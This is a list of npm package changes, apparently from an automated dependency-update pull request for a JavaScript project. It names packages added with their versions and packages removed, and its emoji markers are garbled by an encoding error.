๐Ÿ†• css-tree (added, 3.1.0)

๐Ÿ†• defu (added, 6.1.4)

๐Ÿ†• destr (added, 2.0.5)

๐Ÿ†• deterministic-object-hash (added, 2.0.2)

๐Ÿ†• devalue (added, 5.3.2)

๐Ÿ†• devlop (added, 1.1.0)

๐Ÿ†• dfa (added, 1.2.0)

๐Ÿ†• fdir (added, 6.5.0)

๐Ÿ†• flattie (added, 1.1.1)

๐Ÿ†• fontace (added, 0.3.1)

๐Ÿ†• fontkit (added, 2.0.4)

๐Ÿ†• get-east-asian-width (added, 1.4.0)

๐Ÿ†• h3 (added, 1.15.4)

๐Ÿ†• hast-util-from-html (added, 2.0.3)

๐Ÿ†• hast-util-to-text (added, 4.0.2)

๐Ÿ†• http-cache-semantics (added, 4.2.0)

๐Ÿ†• iron-webcrypto (added, 1.2.1)

๐Ÿ†• is-inside-container (added, 1.0.0)

๐Ÿ†• magicast (added, 0.3.5)

๐Ÿ†• mdast-util-phrasing (added, 4.1.0)

๐Ÿ†• mdn-data (added, 2.12.2)

๐Ÿ†• neotraverse (added, 0.6.18)

๐Ÿ†• node-fetch-native (added, 1.6.7)

๐Ÿ†• node-mock-http (added, 1.0.3)

๐Ÿ†• ofetch (added, 1.4.1)

๐Ÿ†• ohash (added, 2.0.11)

๐Ÿ†• oniguruma-parser (added, 0.12.1)

๐Ÿ†• oniguruma-to-es (added, 4.3.3)

๐Ÿ†• p-queue (added, 8.1.1)

๐Ÿ†• p-timeout (added, 6.1.4)

๐Ÿ†• package-manager-detector (added, 1.4.0)

๐Ÿ†• pako (added, 0.2.9)

๐Ÿ†• radix3 (added, 1.1.2)

๐Ÿ†• react-refresh (added, 0.17.0)

๐Ÿ†• regex (added, 6.0.1)

๐Ÿ†• regex-recursion (added, 6.0.2)

๐Ÿ†• regex-utilities (added, 2.3.0)

๐Ÿ†• remark-stringify (added, 11.0.0)

๐Ÿ†• restructure (added, 3.0.2)

๐Ÿ†• server-destroy (added, 1.0.1)

๐Ÿ†• smol-toml (added, 1.4.2)

๐Ÿ†• tiny-inflate (added, 1.0.3)

๐Ÿ†• tinyexec (added, 1.0.1)

๐Ÿ†• tinyglobby (added, 0.2.15)

๐Ÿ†• tsconfck (added, 3.1.6)

๐Ÿ†• ufo (added, 1.6.1)

๐Ÿ†• ultrahtml (added, 1.6.0)

๐Ÿ†• uncrypto (added, 0.1.3)

๐Ÿ†• unicode-properties (added, 1.4.1)

๐Ÿ†• unicode-trie (added, 2.0.0)

๐Ÿ†• unifont (added, 0.6.0)

๐Ÿ†• unist-util-find-after (added, 5.0.0)

๐Ÿ†• unstorage (added, 1.17.1)

๐Ÿ†• xxhash-wasm (added, 1.1.0)

๐Ÿ†• yocto-spinner (added, 0.2.3)

๐Ÿ†• yoctocolors (added, 2.1.2)

๐Ÿ†• zod-to-json-schema (added, 3.24.6)

๐Ÿ†• zod-to-ts (added, 1.2.0)

๐Ÿ—‘๏ธ @โ€‹ampproject/remapping (removed)

๐Ÿ—‘๏ธ @โ€‹astrojs/language-server (removed)

๐Ÿ—‘๏ธ @โ€‹astrojs/micromark-extension-mdx-jsx (removed)

๐Ÿ—‘๏ธ @โ€‹astrojs/webapi (removed)

๐Ÿ—‘๏ธ @โ€‹babel/helper-annotate-as-pure (removed)

๐Ÿ—‘๏ธ @โ€‹babel/helper-simple-access (removed)

๐Ÿ—‘๏ธ @โ€‹babel/plugin-syntax-jsx (removed)

๐Ÿ—‘๏ธ @โ€‹babel/plugin-transform-react-jsx (removed)

๐Ÿ—‘๏ธ @โ€‹emmetio/abbreviation (removed)

๐Ÿ—‘๏ธ @โ€‹emmetio/css-abbreviation (removed)

๐Ÿ—‘๏ธ @โ€‹emmetio/scanner (removed)

๐Ÿ—‘๏ธ @โ€‹ljharb/has-package-exports-patterns (removed)

๐Ÿ—‘๏ธ @โ€‹pkgr/utils (removed)

๐Ÿ—‘๏ธ @โ€‹proload/core (removed)

๐Ÿ—‘๏ธ @โ€‹proload/plugin-tsm (removed)

๐Ÿ—‘๏ธ @โ€‹types/acorn (removed)

๐Ÿ—‘๏ธ @โ€‹types/estree-jsx (removed)

๐Ÿ—‘๏ธ @โ€‹types/html-escaper (removed)

๐Ÿ—‘๏ธ @โ€‹types/json5 (removed)

๐Ÿ—‘๏ธ @โ€‹types/parse5 (removed)

๐Ÿ—‘๏ธ @โ€‹types/resolve (removed)

๐Ÿ—‘๏ธ @โ€‹types/yargs-parser (removed)

๐Ÿ—‘๏ธ @โ€‹vscode/emmet-helper (removed)

๐Ÿ—‘๏ธ @โ€‹vscode/l10n (removed)

๐Ÿ—‘๏ธ acorn-jsx (removed)

๐Ÿ—‘๏ธ ast-types (removed)

๐Ÿ—‘๏ธ boolean (removed)

๐Ÿ—‘๏ธ character-reference-invalid (removed)

๐Ÿ—‘๏ธ data-uri-to-buffer (removed)

๐Ÿ—‘๏ธ deepmerge-ts (removed)

๐Ÿ—‘๏ธ define-lazy-prop (removed)

๐Ÿ—‘๏ธ define-properties (removed)

๐Ÿ—‘๏ธ detect-node (removed)

๐Ÿ—‘๏ธ eastasianwidth (removed)

๐Ÿ—‘๏ธ emmet (removed)

๐Ÿ—‘๏ธ es6-error (removed)

๐Ÿ—‘๏ธ esprima (removed)

๐Ÿ—‘๏ธ estree-util-is-identifier-name (removed)

๐Ÿ—‘๏ธ estree-util-visit (removed)

๐Ÿ—‘๏ธ extend-shallow (removed)

๐Ÿ—‘๏ธ fetch-blob (removed)

๐Ÿ—‘๏ธ find-yarn-workspace-root2 (removed)

๐Ÿ—‘๏ธ formdata-polyfill (removed)

๐Ÿ—‘๏ธ global-agent (removed)

๐Ÿ—‘๏ธ globalthis (removed)

๐Ÿ—‘๏ธ globalyzer (removed)

๐Ÿ—‘๏ธ globrex (removed)

๐Ÿ—‘๏ธ gray-matter (removed)

๐Ÿ—‘๏ธ has-package-exports (removed)

๐Ÿ—‘๏ธ has-property-descriptors (removed)

๐Ÿ—‘๏ธ hast-to-hyperscript (removed)

๐Ÿ—‘๏ธ html-entities (removed)

๐Ÿ—‘๏ธ inline-style-parser (removed)

๐Ÿ—‘๏ธ is-alphabetical (removed)

๐Ÿ—‘๏ธ is-alphanumerical (removed)

๐Ÿ—‘๏ธ is-buffer (removed)

๐Ÿ—‘๏ธ is-decimal (removed)

๐Ÿ—‘๏ธ is-extendable (removed)

๐Ÿ—‘๏ธ is-hexadecimal (removed)

๐Ÿ—‘๏ธ is-unicode-supported (removed)

๐Ÿ—‘๏ธ json-stringify-safe (removed)

๐Ÿ—‘๏ธ jsonc-parser (removed)

๐Ÿ—‘๏ธ kind-of (removed)

๐Ÿ—‘๏ธ load-yaml-file (removed)

๐Ÿ—‘๏ธ matcher (removed)

๐Ÿ—‘๏ธ mdast-util-mdx-expression (removed)

๐Ÿ—‘๏ธ mdast-util-mdx-jsx (removed)

๐Ÿ—‘๏ธ micromark-extension-mdx-expression (removed)

๐Ÿ—‘๏ธ micromark-extension-mdx-md (removed)

๐Ÿ—‘๏ธ micromark-factory-mdx-expression (removed)

๐Ÿ—‘๏ธ micromark-util-events-to-acorn (removed)

๐Ÿ—‘๏ธ node-domexception (removed)

๐Ÿ—‘๏ธ node-fetch (removed)

๐Ÿ—‘๏ธ object-keys (removed)

๐Ÿ—‘๏ธ parse-entities (removed)

๐Ÿ—‘๏ธ path-browserify (removed)

๐Ÿ—‘๏ธ pify (removed)

๐Ÿ—‘๏ธ preferred-pm (removed)

๐Ÿ—‘๏ธ recast (removed)

๐Ÿ—‘๏ธ roarr (removed)

๐Ÿ—‘๏ธ section-matter (removed)

๐Ÿ—‘๏ธ semver-compare (removed)

๐Ÿ—‘๏ธ serialize-error (removed)

๐Ÿ—‘๏ธ sourcemap-codec (removed)

๐Ÿ—‘๏ธ sprintf-js (removed)

๐Ÿ—‘๏ธ strip-bom (removed)

๐Ÿ—‘๏ธ strip-bom-string (removed)

๐Ÿ—‘๏ธ style-to-object (removed)

๐Ÿ—‘๏ธ supports-esm (removed)

๐Ÿ—‘๏ธ synckit (removed)

๐Ÿ—‘๏ธ tiny-glob (removed)

๐Ÿ—‘๏ธ tsconfig-resolver (removed)

๐Ÿ—‘๏ธ tsm (removed)

๐Ÿ—‘๏ธ typescript (removed)

๐Ÿ—‘๏ธ unherit (removed)

๐Ÿ—‘๏ธ unist-builder (removed)

๐Ÿ—‘๏ธ unist-util-generated (removed)

๐Ÿ—‘๏ธ unist-util-map (removed)

๐Ÿ—‘๏ธ unist-util-position-from-estree (removed)

๐Ÿ—‘๏ธ uvu (removed)

๐Ÿ—‘๏ธ vscode-css-languageservice (removed)

๐Ÿ—‘๏ธ vscode-html-languageservice (removed)

๐Ÿ—‘๏ธ vscode-jsonrpc (removed)

๐Ÿ—‘๏ธ vscode-languageserver (removed)

๐Ÿ—‘๏ธ vscode-languageserver-protocol (removed)

๐Ÿ—‘๏ธ vscode-languageserver-textdocument (removed)

๐Ÿ—‘๏ธ vscode-languageserver-types (removed)

๐Ÿ—‘๏ธ vscode-nls (removed)

๐Ÿ—‘๏ธ vscode-oniguruma (removed)

๐Ÿ—‘๏ธ vscode-textmate (removed)

๐Ÿ—‘๏ธ vscode-uri (removed)

๐Ÿ—‘๏ธ web-streams-polyfill (removed)

๐Ÿ—‘๏ธ which-pm (removed)